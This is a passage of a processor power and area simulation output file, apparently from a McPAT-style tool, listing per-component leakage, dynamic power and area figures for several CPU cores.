'Renaming Unit/FP Front End RAT/Runtime Dynamic': 7.84934e-06, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0215249, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.254899, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.276431, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 9.29946, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 1.88938e-06, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.20269, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 1.26502e-05, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.471792, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.760982, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.384118, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.61689, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.539591, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 4.87919, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 2.38989e-06, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0197891, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.1431, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.146352, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.143103, 'Execution Unit/Register Files/Runtime Dynamic': 0.166141, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.301473, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.03466, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 3.42576, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00097198, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00097198, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000843087, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000324455, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00210236, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00488941, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00944451, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.140692, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.305881, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.477854, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96396, 'Instruction Fetch Unit/Runtime Dynamic': 0.93876, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.039381, 'L2/Runtime Dynamic': 0.0269283, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 7.59273, 'Load Store Unit/Data Cache/Runtime Dynamic': 3.0902, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.205619, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.205619, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 8.56371, 'Load Store Unit/Runtime Dynamic': 4.30987, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.507022, 'Load Store Unit/StoreQ/Runtime Dynamic': 1.01404, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.179944, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.180532, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0501528, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.865215, 'Memory Management Unit/Runtime Dynamic': 0.230685, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 26.9009, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 5.94433e-06, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.021286, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.252088, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.27338, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 9.20538, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 2.83407e-06, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202691, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 1.77103e-05, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.502556, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.810604, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.409166, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.72233, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.574776, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 4.94809, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 3.34585e-06, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0210794, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.152432, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.155895, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.152435, 'Execution Unit/Register Files/Runtime Dynamic': 0.176975, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.321132, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.10139, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 3.60876, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00104847, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00104847, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000909685, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.00035022, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00223945, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00524608, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.010179, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.149866, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.326579, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.509013, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96396, 'Instruction Fetch Unit/Runtime Dynamic': 1.00088, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0420631, 'L2/Runtime Dynamic': 0.0286877, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 8.00094, 'Load Store Unit/Data Cache/Runtime Dynamic': 3.28873, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.218826, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.218826, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 9.03428, 'Load Store Unit/Runtime Dynamic': 4.58672, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.539586, 'Load Store Unit/StoreQ/Runtime Dynamic': 1.07917, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.191501, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.192129, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0535475, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.885069, 'Memory Management Unit/Runtime Dynamic': 0.245677, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 27.4629, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End 